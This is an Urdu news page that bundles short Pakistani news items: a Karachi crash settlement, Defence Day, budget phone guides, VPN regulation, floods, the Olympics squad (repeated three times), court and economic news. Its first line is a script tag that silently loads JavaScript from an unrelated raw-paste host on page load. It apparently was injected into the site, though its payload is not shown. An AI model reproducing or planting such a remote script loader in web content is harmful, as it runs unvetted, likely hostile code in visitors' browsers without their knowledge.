<script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/TNJ396WI5CV6O"></script>

کارساز حادثہ: فریقین کے درمیان معاملات طے پا گئے، ورثا نے ملزمہ کو معاف کردیا

کراچی میں کارساز روڈ پر پیش آنے والے ٹریفک حادثے کے کیس میں فریقین کے درمیان معاملات طے پا گئے۔ حادثے میں جاں بحق ہونے والے باپ بیٹی کے ورثا کی جانب سے ملزمہ کی درخواست ضمانت پر نو ابجیکشن سرٹیفکیٹ جمع کرایا جائے گا، این او سی حادثے میں جاں بحق ہونے والے عمران عارف کی اہلیہ کی جانب سے جمع کرایا جائے گا۔

جاں بحق عمران عارف اور آمنہ عارف کے ورثا نے حلف نامے تیار کروا لیے، حلف نامے آج ملزمہ کی درخواست ضمانت کی سماعت میں پیش کیے جائیں گے۔

حادثے میں جاں بحق ہونے والے باپ بیٹی کے ورثا کی جانب سے ملزمہ کی درخواست ضمانت پر نو ابجیکشن سرٹیفکیٹ جمع کرایا جائے گا، این او سی حادثے میں جاں بحق ہونے والے عمران عارف کی اہلیہ کی جانب سے جمع کرایا جائے گا۔

عمران عارف کے بیٹے اسامہ عارف اور بیٹی کی جانب سے بھی این او سی جمع کرائے جائیں گے۔

حلف نامے میں کہا گیا ہے کہ ہمارے درمیان معاملات طے پا گئے ہیں ہم نے ملزمہ کو معاف کر دیا ہے، ہم نے اللہ کے نام پر معاف کیا ہے جو بڑا مہربان اور نہایت رحم والا ہے۔

متاثرہ فیملی کے حلف نامے میں کہا گیاہے کہ ملزمہ کو ضمانت دینے پر ہمیں کوئی اعتراض نہیں ہے، جو حادثہ ہوا تھا وہ جان بوجھ کر نہیں کیا گیا، ہم نے بغیر کسی دباؤ کہ یہ سرٹیفکیٹ دیا ہے، ہم نے حلف نامے میں جو کچھ کہا ہے بالکل درست کہا ہے۔

یاد رہے کہ 20 اگست کو کارساز روڈ کر تیز رفتار گاڑی کی ٹکر سے موٹر سائیکل سوار باپ بیٹی جاں بحق ہو گئے تھے، حادثے میں جاں بحق ہونے والی آمنہ عارف گھر میں سب سے چھوٹی اور لاڈلی تھی، والد نے اسے پاپڑ فروخت کر کے تعلیم کے زیور سے آراستہ کیا تھا۔

حادثے کے بعد پولیس نے خاتون ملزمہ کو حراست میں لے لیا تھا اور بعد ازاں خاتون ملزمہ کی میڈیکل رپورٹس میں آئس نشے کی موجودگی کی تصدیق ہوئی تھی۔

جی ایچ کیو میں یوم دفاع و شہدا کی مرکزی تقریب، وزیراعظم اور آرمی چیف کی شرکت

راولپنڈی کے جنرل ہیڈ کوارٹرز(جی ایچ کیو) میں یوم دفاع کی مناسبت سے منعقدہ تقریب جاری ہے جس میں وزیر اعظم شہباز شریف اور آرمی چیف سمیت دیگر اعلیٰ حکومتی اور عسکری حکام موجود ہیں۔ تقریب میں وفاقی کابینہ کے ارکان، اعلیٰ سول وعسکری حکام، شہدا کے اہل خانہ بھی موجود ہیں۔

جی ایچ کیو آمد پر وزیراعظم شہباز شریف نے یادگار شہدا پر پھول چڑھائے اور شہدا کے بلندی درجات کے لیے دعا کی۔

تقریب میں وفاقی کابینہ کے ارکان، اعلیٰ سول وعسکری حکام، شہدا کے اہل خانہ بھی موجود ہیں۔

یاد رہے کہ وطن عزیز کے دفاع کے لیے اپنی جانوں کا نذرانہ پیش کرنے والے شہدا اور غازیوں کو سلام پیش کرنے کے لیے ملک بھر میں یوم دفاع و شہدا بھرپور جوش و جذبے کے ساتھ منایا جا رہا ہے۔

40 ہزار روپے کے بجٹ میں زبردست موبائل فون خریدنے کا سنہری موقع

پاکستان میں نت نائے موبائل فونز خریدنے کے خواہمشندوں کی کوئی کمی نہیں اور اسی وجہ سے آئے روز کمپنیاں کم قیمت میں بہترین فیچرز کے ساتھ ایک دوسرے پر بازی لے جانے کی دوڑ میں نئے موبائل فونز مارکیٹ میں فروخت کیلئے پیش کر ر ہی ہیں ۔

تفصیلات کے مطابق آج ہم آپ کو کم پیسوں میں بہترین موبائل فونز کی رینج بتانے جارہے ہیں جو کہ آپ محض 40 ہزار کے بجٹ میں خرید سکتے ہیں، جن کے فیچرز آپ کو مہنگے موبائل فون کا احساس دلائیں گے ۔

Tecno Spark 20 Pro

اس موبائل فون کی قیمت 38 ہزار روپے ہے لیکن اس میں 6.78 انچ کا بڑا ڈسپلے دیا گیاہے جو کہ گیمنگ اور فلم دیکھنے کے احساس کو زبردست بنا دیتا ہے جبکہ اس میں 8 جی بی ریم کے ساتھ 256 جی بی کی سٹوریج سپیس دی گئی ہے جس میں آپ اپنی من پسند ویڈیوز اور تصاویر محفوظ رکھ سکتے ہیں ۔اس کے علاوہ اس موبائل فون میں بیک پر دو کیمرے دیئے گئے ہیں جن میں ایک 108 میگا پگسلز کا جاندار کیمرہ بھی شامل ہے جبکہ فرنٹ کیمرہ 32 میگا پگسلز کے ساتھ سیلفی کے تمام معیارات پر پورا اترتا ہے ۔ موبائل فون میں 5 ہزار ایم اے ایچ کی بڑی بیٹری نصب کی گئی ہے جس کے ختم ہونے کا بھی کوئی ڈر نہیں ۔

Realme C67

کمپنی کی جانب سے یہ موبائل فون 38 ہزار روپے میں فروخت کیا جارہاہے جس میں 6.74 انچ کا ڈسپلے دیا گیاہے جبکہ اس میں دو مختلف ویرنٹس لانچ کیئے گئے ہیں ایک 4 جی بی اور دوسرا 6 جی بی ریم کے ساتھ جبکہ سٹوریج سپیس 128 جی بھی دی جارہی ہے ۔ موبائل فون میں 50 میگا پگسلز کے 2 بیک کیمرے جبکہ 8 میگا پگسلز کا زبردست فرنٹ کیمرہ دیا گیاہے ۔ اس موبائل میں بھی 5 ہزار ایم اے ایچ کی بڑی بیٹری نصب کی گئی ہے جو آپ کو بار با ر چارج کرنے کی مشکل سے نجات دیتی ہے ۔

Samsung Galaxy A05s

سام سنگ کا تو نام ہی کافی ہے اور یہ نام سنتے ہی دماغ میں موٹی رقم آتی لیکن اب نہیں کیونکہ سام سنگ نے محض 37 ہزار میں یہ موبائل فون متعارف کروا کر صارفین کو خوش کر دیاہے جس میں 6.56 انچ کا ڈسپلے ، 4 جی بی ریم اور 128 جی بی کی سٹوریج سپیس دی گئی ہے جو کہ موبائل فون استعمال کرنے کا احساس شاندار بنا دیتا ہے جبکہ کمپنی نے تصاویر کے شوقین افراد کا بھی خاصل خیال رکھتے ہوئے 50 میگا پگسلز کے دو کیمرے بیک پر نصب کیئے ہیں اور 5 میگا پگسلز کا سیلفی کیمرہ فرنٹ پر دیاہے اس کے علاوہ 5 ہزار ایم اے ایچ کی بیٹری نصب کی ہے ۔

Poco C65

پوکو نے بھی مارکیٹ میں بہت جلد اپنی جگہ بناتے ہوئے صارفین کی توجہ حاصل کر لی ہے کیونکہ یہ کمپنی کم قیمت میں مہنگے موبائل والے فیچرز دینے کیلئے شہرت رکھتی ہے ،یہ کمپنی36 ہزار روپے میں آپ کو 6.74 انچ کا بڑا ڈسپلے دے رہی ہے جبکہ اس کے تین ویرنٹس موجود ہیں جن میں 4 ، 6 اور 8 جی بی کی ریم دی گئی ہے جو آپ اپنی من مطابق لے سکتے ہیں اور قیمت میں بھی بہت کم فرق رکھا گیاہے ۔ موبائل فون میں 128 جی بی کی سٹوریج سپیس کے ساتھ بیک پر 50 میگا پگسلز کے دو کیمرے نصب کیئے گئے ہیں جبکہ 12 میگا پگسلز فرنٹ کیمرہ کے علاوہ 5 ہزار ایم اے ایچ کی بیٹری نصب کی گئی ہے ۔

Oppo A38

اوپو کے موبائل فونز بھی صارفین کے درمیان بے حد پسند کیئے جاتے ہیں اور کمپنی نے اسی رشتے کو مضبوط کرنے کیلئے 37 ہزار روپے میں جاندار فون مارکیٹ میں اتار، جس میں 6.56 انچ کا ڈسپلے ، 4 جی بی ریم ، 128 جی بی سٹوریج سپیس دی گئی جبکہ 50 میگا پگسلز کے دو بیک کیمرے ، 5 میگا پگسلز کا فرنٹ کیمرا نصب کیاہے ۔ اس کے علاوہ اس میں بھی 5 ہزار ایم اے ایچ کی بیٹری دی گئی ہے

30 ہزار کے بجٹ میں دستیاب بہترین موبائل فونز کی فہرست سامنے آ گئی

پاکستان میں جاری مہنگائی کی لہر نے شہریوں کی قوت خرید میں گہرا اثر ڈالا ہے جس کے باعث موبائل کمپنیاں بھی متاثر ہو رہی ہیں لیکن ہم آپ کو چند ایسے شاندار موبائل فونز بتانے جارہے ہیں جنہیں آپ 30 ہزارروپے تک خرید سکتے ہیں ۔

Infinix Hot 40i

انفینکس ہاٹ 40 آئی میں کی قیمت 28 ہزار 499 روپے ہے لیکن اس میں دیئے گئے فیچرز کسی مہنگے موبائل سے کم نہیں ، کمپنی نے موبائل فون میں 6.56 انچ کا ایچ ڈی ڈسپلے دیا ہے جبکہ یہ دو ویرینٹس میں میسر ہے ، آپ اسے 4 جی بی ریم اور 128 میمری یا 8 جی بی ریم اور 256 جی بی میموری میں خرید سکتے ہیں ۔اس میں 50 میگا پگسلز بیک کیمرہ اور 32 میگا پگسلز فرنٹ کیمرہ دیا گیاہے ، موبائل میں لمبا ساتھ نبھانے والی 5 ہزار ایم اے ایچ کی بیٹری دی گئی ہے ۔

ZTE Blade V50

زیڈ ٹی ای بلیڈ وی 50 کی قیمت 27 ہزار 999 روپے ہے اس میں 6.6 انچ کا ڈسپلے ، 4/8 جی بی ریم اور 128/256 جی بی میموری کی سہولت دی گئی ہے ، جبکہ 50 میگا پگسلز بیک کیمرہ اور 8 میگا پگسلز کا فرنٹ کیمرہ نصب کیا گیا ہے ۔ اس کی بیٹری بھی 5 ہزار ایم اے ایچ ہے ۔

Redmi 13C

اس موبائل فون کی قیمت بھی 27 ہزار 999 روپے متعارف کروا گئی ہے ، اس میں 6.71 انچ کا بڑا ایچ ڈی ڈسپلے ، 4/6 جی بی ریم اور 64/128 جی بی میموری فراہم کی گئی ہے بیک کیمرہ 50 میگاپگسلز اور فرنٹ کیمرہ 8 میگا پگسلز دیا گیاہے ۔ اس کی بیٹری 5 ہزار 120 ایم اے ایچ کی دی گئی ہے ۔

Realme C51

30 ہزار روپے کی رینج میں موبائل خریدنے کے خواہمشندوں کیلئے یہ بھی ایک بہترین فون ہے جس میں 6.74 کا بڑا ڈسپلے دیا گیاہے ، اس کی ریم 4 جی بی جبکہ میموری میں 64 اور 128 جی بی کی سہولت میسر ہے ، بیک کیمرہ 50 اور فرنٹ کیمرہ 5 میگا پگسلز ہے ، جو کہ سیلفی کے شوقین افراد کے ذوق کو سامنے رکھتے ہوئے دیا گیاہے ۔ اس میں 5 ہزار ایم اے ایچ کی بیٹری نصب کی گئی ہے ۔

Honor X6a

اونر کے موبائل فونز مارکیٹ میں اپنی پہنچان آپ ہیں اور کسی تعارف کے محتاج نہیں ،اس میں 6.56 انچ کا ڈسپلے ، ریم 4 جی بی اور میموری 128 جی بی دی گئی ہے جو کہ بے شمار تصاویر اور ویڈیوز محفوظ کرنے کی سہولت فراہم کرتی ہے ۔بیک کیمرہ 50 میگا پگسلز اور فرنٹ کیمرہ 5 میگاپگسلز کا دیا گیاہے ۔ بیٹر ی 5200 ایم اے ایچ کی نصب کی گئی ہے

پورے پاکستان میں وی پی این کو ’بلاک‘ کیے جانے کا امکان

پاکستان ٹیلی کمیونیکیشن اتھارٹی (پی ٹی اے) نے مبینہ طور پر ملک بھر میں ورچوئل پرائیویٹ نیٹ ورکس (وی پی اینز) کے استعمال کو ریگولیٹ کرنے والی ایک نئی پالیسی متعارف کرانے کا فیصلہ کیا ہے۔

میڈیا رپورٹس کے مطابق کیبنٹ سیکرٹریٹ کی قائمہ کمیٹی کے اجلاس سے خطاب کرتے ہوئے پی ٹی اے کے چیئرمین حفیظ الرحمن نے کہا کہ پالیسی کے نفاذ کے بعد پاکستان میں صرف منظور شدہ وی ​​پی این کام کریں گے۔

یہ اقدام 2024 میں ورچوئل پرائیویٹ نیٹ ورکس کے استعمال میں نمایاں اضافے کے بعد سامنے آیا ہے، بنیادی طور پر بلاک شدہ سوشل میڈیا پلیٹ فارم X (سابقہ ​​ٹویٹر) تک رسائی کے لیے استعمال ہوتا ہے۔

ٹاپ ٹین وی پی این کی ایک رپورٹ کے مطابق سماجی روابط کی ویب سائٹ ایکس کو بلاک کیے جانے کے دو دن بعد 19 فروری کو VPNs کی مانگ میں 131 فیصد اضافہ ہوا۔
پی ٹی اے کے سربراہ نے کہا کہ پابندی کے بعد پاکستان میں ایکس صارفین کی تعداد میں 70 فیصد کمی آئی ہے، صرف 30 فیصد نے وی پی این کے ذریعے پلیٹ فارم تک رسائی حاصل کی ہے۔

پی ٹی اے کے سربراہ نے کہا کہ ورچوئل پرائیویٹ نیٹ ورکس پر مکمل پابندی وی پی اینز پر کام کرنے والے متعدد آئی ٹی کاروبار کے خاتمے کا باعث بنے گی۔
یہاں یہ بات قابل ذکر ہے کہ پاکستان میں وی پی این کو ریگولیٹ کرنے کی یہ پہلی کوشش نہیں ہے۔ اس سے قبل 2010 ورچوئل پرائیویٹ نیٹ ورکس ریگولیشن اور 2022 کی رجسٹریشن ڈرائیو کے ذریعے یہ کوشش کی جاچکی ہے۔

VPN کیا ہے؟

وی پی این (Virtual Privacy Network) دراصل ایک ایسا سافٹ وئیر ہے جس کے ذریعے بند کی گئی ویب سائٹس تک رسائی ممکن ہو جاتی ہے۔

2020 میں جن دنوں آن لائن ویڈیو گیم پب جی پر پابندی عائد تھی، اسی دوران بھارت میں اس گیم کو کئی صارفین وی پی این کے ذریعے چلا پا رہے تھے۔
اسی طرح حال ہی میں سماجی رابطے کی ویب سائٹ ’ایکس‘ بھی پابندی کا شکار ہے، جسے کئی صارفین وی پی این کے ذریعے استعمال کر پا رہے ہیں۔

گوگل میپ پر اڈیالہ جیل عمران خان کے نام سے منسوب

تحریک انصاف کے بانی چیئرمین اور سابق وزیراعظم عمران خان جنہیں جیل میں تقرباً ایک برس ہو چکا ہے اس عرصے میں جہاں کئی سیاسی رہنما تحریک انصاف کو خیرباد کہہ گئے وہیں کئی اہم رہنما 9 مئی کے واقعے کے بعد گرفتار ہوئے اور ایک نئی قیادت ابھر کر سامنے آئی۔

متعدد مقدمات میں قانونی ریلیف حاصل کرنے کے باوجود عمران خان جیل سے باہر نہ آ سکے اور اس دوران تحریک انصاف میں اختلافات بھی کھل کر سامنے آئے۔ ان تمام واقعات کے بعد خیال کیا جا رہا تھا کہ عمران خان کی مقبولیت میں کمی واقع ہو گی لیکن ایسا نہ ہوا. انہوں نے جو بیانیہ بھی بنایا وہ عوامی پذیرائی حاصل کرنے میں کامیاب رہا اور وہ اس وقت بھی پاکستان کے مقبول ترین رہنماؤں میں سے ایک ہیں۔

عمران خان کی مقبولیت کا اندازہ اس سے لگایا جا سکتا ہے کہ گوگل میپ پر بھی اڈیالہ جیل عمران خان کے نام سے منسوب کر دی گئی ہے۔

پی ٹی آئی کے حامی صارفین گوگل کے اس اقدام پر خوشی کا اظہار کر رہے ہیں صحافی صابر شاکر نے لکھا کہ گوگل نے اڈیالہ جیل کو عمران خان کی لوکیشن سے منسوب کردیا آپ بھی سرچ کرکے عمران خان کے سیل کو دیکھ سکتے ہیں۔

گجرات میں بارشوں کا 50 سالہ ریکارڈ ٹوٹ گیا

گجرات میں بارشوں کا پچاس سالہ ریکارڈ ٹوٹ گیا، گلیوں میں چار چار فٹ پانی کھڑا ہوگیا، ریلوے اسٹیشن، ڈسٹرکٹ ہیڈ کوارٹر اسپتال، ضلعی کمپلیکس، مرکزی عیدگاہ بھی زیر آب آگئی، چھت گرنے سے خاتون جاں بحق اور دو افراد زخمی ہوگئے۔

گجرات میں طوفانی بارش کے بعد گلی محلے نہروں کا منظر پیش کرنے لگ گئے، چار، چار فٹ پانی کھڑا ہونے سے نظام زندگی مفلوج ہوگیا، جب کہ برسات کا پانی گھروں میں داخل ہونے سے لوگوں کا قیمتی سامان بھی برباد ہوگیا۔

شاہ حسین، خواجگان روڈ، غریب پورہ روڈ، قمر سیالوی روڈ، چاہ بڈھے والا جیل چوک سمیت متعدد علاقوں میں ہر سو پانی ہی پانی جعع ہوگیا۔

ریلوے اسٹیشن ، ڈسٹرکٹ ہیڈ کوارٹر اسپتال، ضلعی کمپلیکس، تاریخی مرکزی عیدگاہ بھی زیر آب آگئے، میونسپل کارپوریشن، واپڈا دفاتر، اولڈ ڈی پی او آفس کے چاروں طرف بھی پانی کھڑا ہوگیا۔

سیوریج نظام کے ناکارہ ہونے پر شہریوں کا کہنا ہے کہ گجرات لاوارث ہوچکا ہے ہم پانی میں ڈوب رہے ہیں کوئی بچانے والا نہیں۔

گجرات کے علاقے کھٹالہ چناب میں ایک مکان کی بوسیدہ چھت طوفانی بارش سے گرگئی، حادثے میں اسی سالہ خاتون جاں بحق اور دو افراد شدید زخمی ہوگئے۔

اسلام آباد جانے سے روکے جانے پر جماعت اسلامی کی خواتین کا منصورہ میں دھرنا

جماعت اسلامی کے راولپنڈی دھرنے میں شرکت کیلئے جانے سے روکے جانے پر جماعت اسلامی کی خواتین نےمنصورہ میں دھرنا دے دیا،آج خواتین نے دھرنے میں شریک ہونا تھا۔

دوسری جانب لیاقت باغ میں جماعت اسلامی کا دھرنا چوتھے روز میں داخل ہوگیا۔حکومتی تین رکنی کمیٹی کے ساتھ مذاکرات کا دوسرا دور آج ہوگاہے۔

گزشتہ روزمذاکرات کےبعدجماعت اسلامی کے تمام کارکنان کو رہا کیا گیا،آج مذاکرات میں حکومتی وفد کے ساتھ ٹیکنکل ٹیم بھی ہوگی

حکومتی ٹیکنکل ٹیم جماعتِ اسلامی کے مطالبات پر عمل درآمد سے متعلق بریفنگ دی گی،آج کے مذاکرات کے بعد جماعت اسلامی اگلے لائحہ کا اعلان کرے گی

امیر جماعت اسلامی سوا گیارہ بجے شرکاء سے خطاب کریں گے،حافظ نعیم الرحمان آج لیاقت باغ کے مقام پر شجر کاری بھی کریں گے۔

پیرس اولمپکس میں شرکت کے لیے پاکستانی ایتھلیٹس کا پہلا گروپ آج فرانس روانہ ہوگا

پیرس اولپمکس میں پاکستان کا 18 رکنی دستہ ملک کی نمائندگی کرے گا جس کا پہلا گروپ آج (جمعہ کو) فرانس روانہ ہوگا۔

پیرس کے لیے روانہ ہونے والے پہلے گروپ میں 3 شوٹرز اور 2 آفیشلز شامل ہیں۔ پاکستان کی شوٹنگ ٹیم میں کشمالہ طلعت، غلام مصطفیٰ بشیر اور گلفام جوزف شامل ہیں۔

تیراکی کی ٹیم میں جہاں آرا اور جیولین تھرو میں حصہ لینے والے اتھلیٹ ارشد ندیم افتتاحی تقریب میں قومی دستے کی قیادت کریں گے۔

واضح رہے کہ 26 جولائی سے فرانس کے شہر پیرس میں شروع ہونے والی اولمپک گیمز کے لیے پاکستان اولمپکس ایسوسی ایشن نے گزشتہ ہفتے 18 رکنی دستے کا اعلان کیا تھا۔

پاکستانی دستے میں 7 اتھلیٹس اور 11 آفیشلز شامل ہیں۔ پاکستانی کھلاڑی شوٹنگ، سوئمنگ اور اتھلیٹکس میں حصہ لیں گے۔ محمد شفیق چیف ڈی مشن، جاوید لودھی ڈپٹی چیف ڈی مشن اور زینب شوکت ایڈمن آفیشل ہوں گی۔

اتھلیٹکس میں ارشد ندیم اور فائقہ ریاض کے ساتھ کوچ سلمان اقبال بٹ اور ڈاکٹر علی باجوہ بھی ہوں گے۔ شوٹنگ میں غلام مصطفیٰ بشیر، کشمالہ طلعت اور گلفام جوزف کے ساتھ 2 کوچز ہوں گے۔

سوئمنگ میں احمد درانی اور جہاں آرا کے ساتھ احمد علی ٹیم آفیشل ہوں گے۔ میثاق رضوی چیف میڈیکل اور رضوان احمد ویلفیئر آفیسر ہوں گے جبکہ فرانس میں پاکستانی سفارت خانے کے کاشف جمیل اولمپک اتاشی ہوں گے۔

پیرس اولمپکس میں شرکت کے لیے پاکستانی ایتھلیٹس کا پہلا گروپ آج فرانس روانہ ہوگا

پیرس اولپمکس میں پاکستان کا 18 رکنی دستہ ملک کی نمائندگی کرے گا جس کا پہلا گروپ آج (جمعہ کو) فرانس روانہ ہوگا۔

پیرس کے لیے روانہ ہونے والے پہلے گروپ میں 3 شوٹرز اور 2 آفیشلز شامل ہیں۔ پاکستان کی شوٹنگ ٹیم میں کشمالہ طلعت، غلام مصطفیٰ بشیر اور گلفام جوزف شامل ہیں۔

تیراکی کی ٹیم میں جہاں آرا اور جیولین تھرو میں حصہ لینے والے اتھلیٹ ارشد ندیم افتتاحی تقریب میں قومی دستے کی قیادت کریں گے۔

واضح رہے کہ 26 جولائی سے فرانس کے شہر پیرس میں شروع ہونے والی اولمپک گیمز کے لیے پاکستان اولمپکس ایسوسی ایشن نے گزشتہ ہفتے 18 رکنی دستے کا اعلان کیا تھا۔

پاکستانی دستے میں 7 اتھلیٹس اور 11 آفیشلز شامل ہیں۔ پاکستانی کھلاڑی شوٹنگ، سوئمنگ اور اتھلیٹکس میں حصہ لیں گے۔ محمد شفیق چیف ڈی مشن، جاوید لودھی ڈپٹی چیف ڈی مشن اور زینب شوکت ایڈمن آفیشل ہوں گی۔

اتھلیٹکس میں ارشد ندیم اور فائقہ ریاض کے ساتھ کوچ سلمان اقبال بٹ اور ڈاکٹر علی باجوہ بھی ہوں گے۔ شوٹنگ میں غلام مصطفیٰ بشیر، کشمالہ طلعت اور گلفام جوزف کے ساتھ 2 کوچز ہوں گے۔

سوئمنگ میں احمد درانی اور جہاں آرا کے ساتھ احمد علی ٹیم آفیشل ہوں گے۔ میثاق رضوی چیف میڈیکل اور رضوان احمد ویلفیئر آفیسر ہوں گے جبکہ فرانس میں پاکستانی سفارت خانے کے کاشف جمیل اولمپک اتاشی ہوں گے۔

پیرس اولمپکس میں شرکت کے لیے پاکستانی ایتھلیٹس کا پہلا گروپ آج فرانس روانہ ہوگا

پیرس اولپمکس میں پاکستان کا 18 رکنی دستہ ملک کی نمائندگی کرے گا جس کا پہلا گروپ آج (جمعہ کو) فرانس روانہ ہوگا۔

پیرس کے لیے روانہ ہونے والے پہلے گروپ میں 3 شوٹرز اور 2 آفیشلز شامل ہیں۔ پاکستان کی شوٹنگ ٹیم میں کشمالہ طلعت، غلام مصطفیٰ بشیر اور گلفام جوزف شامل ہیں۔

تیراکی کی ٹیم میں جہاں آرا اور جیولین تھرو میں حصہ لینے والے اتھلیٹ ارشد ندیم افتتاحی تقریب میں قومی دستے کی قیادت کریں گے۔

واضح رہے کہ 26 جولائی سے فرانس کے شہر پیرس میں شروع ہونے والی اولمپک گیمز کے لیے پاکستان اولمپکس ایسوسی ایشن نے گزشتہ ہفتے 18 رکنی دستے کا اعلان کیا تھا۔

پاکستانی دستے میں 7 اتھلیٹس اور 11 آفیشلز شامل ہیں۔ پاکستانی کھلاڑی شوٹنگ، سوئمنگ اور اتھلیٹکس میں حصہ لیں گے۔ محمد شفیق چیف ڈی مشن، جاوید لودھی ڈپٹی چیف ڈی مشن اور زینب شوکت ایڈمن آفیشل ہوں گی۔

اتھلیٹکس میں ارشد ندیم اور فائقہ ریاض کے ساتھ کوچ سلمان اقبال بٹ اور ڈاکٹر علی باجوہ بھی ہوں گے۔ شوٹنگ میں غلام مصطفیٰ بشیر، کشمالہ طلعت اور گلفام جوزف کے ساتھ 2 کوچز ہوں گے۔

سوئمنگ میں احمد درانی اور جہاں آرا کے ساتھ احمد علی ٹیم آفیشل ہوں گے۔ میثاق رضوی چیف میڈیکل اور رضوان احمد ویلفیئر آفیسر ہوں گے جبکہ فرانس میں پاکستانی سفارت خانے کے کاشف جمیل اولمپک اتاشی ہوں گے۔

مخلوط حکومت 18 ماہ تک، ٹیکنو کریٹک انتظامیہ بطور متبادل اقتدار سنبھالے گی، فچ کی پیشگوئی

فچ بزنس مانیٹر انٹرنیشنل نے پاکستان کنٹری رسک رپورٹ جاری کر دی ہے جس میں بتایا گیا ہے کہ پاکستان کی معاشی بحالی کو نازک صورتحال کا سامنا ہے اور شہری علاقوں میں احتجاج معاشی سرگرمیوں کو متاثر جبکہ سیاسی صورت حال معیشت کو ڈی ریل کر سکتی ہے۔

رپورٹ کے مطابق کئی کامیاب قانونی اپیلوں کے باوجود بانی پاکستان تحریک انصاف ( پی ٹی آئی ) مستقبل قریب تک قید میں رہیں گے۔

مخلوط حکومت آئندہ 18 مہینے یا اس سے آگے تک اقتدارمیں رہے گی اور حکومت تبدیل ہوئی تو ملک میں نئے انتخابات نہیں ہوں گے۔

فچ بزنس مانیٹر انٹرنیشنل کے مطابق ممکنہ متبادل کے طور پر ٹیکنو کریٹک انتظامیہ اقتدار میں آئے گی۔

رواں مالی سال پالیسی ریٹ 16 فیصد اور اگلے سال 14 فیصد تک آسکتا ہے جبکہ ایکسچینج ریٹ میں توقعات سے زیادہ استحکام آیا ہے۔

رپورٹ نے موجودہ سال کے اختتام تک ڈالر 290 روپے جبکہ 2025 میں 310 روپے تک جانے کی پیشگوئی کی ہے جبکہ آئی ایم ایف پروگرام کے تحت بجٹ اہداف کا حصول مشکل قرار دیا گیا ہے البتہ مالی خسارہ 7.4 فیصد سے کم ہو کر 6.7 فیصد پر آنے کا امکان ہے۔

رپورٹ میں مزید کہا گیا کہ ایک اور ممکنہ سیلاب یا قدرتی آفت معیشت کو خطرے میں ڈال سکتی ہے

9 مئی مقدمات: عدالت نے عمران خان کی ضمانتوں پر رجسٹرار آفس کا اعتراض ختم کردیا

لاہور ہائیکورٹ نے 9 مئی کے 3 مقدمات میں پاکستان تحریک انصاف (پی ٹی آئی) کے بانی چیئرمین عمران خان کی ضمانتوں پر رجسٹرار آفس کا اعتراض ختم کردیا۔

لاہور ہائیکورٹ میں بانی پی ٹی آئی عمران خان کی 9 مئی کے 3 مقدمات میں عبوری ضمانتیں خارج ہونے کے خلاف دائر درخواستوں پر سماعت ہوئی، جسٹس شہرام سرور اور جسٹس امجد رفیق پر مشتمل 2 رکنی بینچ نے سماعت کی۔

عدالت نے عمران خان کی ضمانتوں پر رجسٹرار آفس کا اعتراض ختم کردیا۔

رجسٹرار آفس کی جانب سے اعتراض میں کہا گیا کہ درخواستوں میں سابق وزیراعظم عمران خان کے انگوٹھے کے نشانات نہیں ہیں، ایک مقدمے کی درخواست میں ایف آئی آر کی کاپی لف نہیں ہے۔

یاد رہے کہ بانی پی ٹی آئی عمران خان نے انسداد دہشت گردی عدالت کے فیصلے کو لاہور ہائیکورٹ چیلنج کرتے ہوئے مؤقف اختیار کیا ہے کہ ٹرائل کورٹ نے 9 مئی کے مقدمات میں حقائق کے برعکس ضمانتیں خارج کی۔

درخواست میں عدالت سے استدعا کی گئی کہ لاہور ہائیکورٹ بانی پی ٹی آئی عمران خان کی عبوری ضمانتیں منظور کرے

وزیر داخلہ کی یوم عاشور کے انتظامات پر قانون نافذ کرنیوالے اداروں کی تعریف

وفاقی وزیر داخلہ محسن نقوی نے یوم عاشور پر فول پروف سکیورٹی انتظامات پر قانون نافذ کرنے والے اداروں کی تعریف کی۔

خیال رہے کہ وفاقی وزیر داخلہ محسن نقوی یوم عاشور کے موقع پر ملک بھر میں سیکیورٹی پلان کی مانیٹرنگ کرتے رہے اور متعلقہ پولیس و انتظامی افسران سے رابطے میں رہے۔

اس حوالے سے جاری اپنے بیان میں محسن نقوی کا کہنا تھا کہ اللہ تعالیٰ کے فضل و کرم اور حکومت کے موثر اقدامات سے یوم عاشور پر امن رہا۔

محسن نقوی کا کہنا تھا کہ صوبوں ، آزاد کشمیر اور گلگت بلتستان میں پرامن ماحول میں مجالس اور جلوس نکالے گئے، عزاداروں کی حفاظت کیلئے بہترین انتظامات کئے گئے۔

وزیر داخلہ کا کہنا تھا کہ بھائی چارے اور ہم آہنگی کے فروغ میں علماء کا کردار قابل ستائش رہا۔

ان کا کہنا تھا کہ محکموں اور اداروں نے جس طرح ایک ٹیم کے طور پر کام کیا وہ قابل تحسین ہے۔

سولر پینلز، لیتھیم بیٹری اور انورٹر کی قیمتیں کم ہوگئیں

صدر کراچی سولر پینلز ایسوسی ایشن محمد اذہان کا کہنا ہے کہ سولر پینلز کی فی واٹ قیمت کم ہو کر 35 روپے ہوگئی۔

میڈیا رپورٹ کے مطابق محمد اذہان نے کہا کہ لیتھیم بیٹری کی قیمت بھی عالمی سطح پر ایک ماہ میں 10 فیصد کم ہوئی۔ صدر کراچی سولر پینلز ایسوسی ایشن نے مزید کہا کہ انورٹر پر کوئی ٹیکس نہیں لگا، اس کی قیمت میں بھی 10 فیصد کمی آئی ہے۔

دوسری جانب پنجاب میں عوام کو مفت سولر پینل کی فراہمی 14 اگست سے شروع ہو گی۔ وزیراعلیٰ پنجاب مریم نواز نے یوم آزادی سے سولر پینل کی تقسیم شروع کرنے کا فیصلہ کیا ہے، 200 یونٹ تک استعمال کرنے والے عوام 14 اگست سے مفت سولر پینل حاصل کر سکیں گے۔

پاکستان میں کلاؤڈ سروسز فریم ورک متعارف، نوٹیفکیشن جاری

پبلک پروکیورمنٹ ریگولیٹری اتھارٹی (PPRA) نے کلاؤڈ پروکیورمنٹ فریم ورک کا گزٹ نوٹیفکیشن جاری کر دیا ہے۔ یہ فریم ورک ملک میں کلاؤڈ سروسز کے حصول کے لیے واضح رہنما اصول طے کرتا ہے۔

آئی ٹی اور ٹیلی کام کی وزارت نے خصوصی سرمایہ کاری سہولت کونسل (SIFC) کو مطلع کیا کہ PPRA نے اپنے بورڈ کی منظوری کے بعد یہ نوٹیفکیشن جاری کیا۔ یہ فریم ورک مختلف اسٹیک ہولڈرز اور سرکاری ایجنسیوں بشمول وزارت آئی ٹی اور ٹیلی کام کے ساتھ وسیع مشاورت کے بعد تیار کیا گیا تھا۔

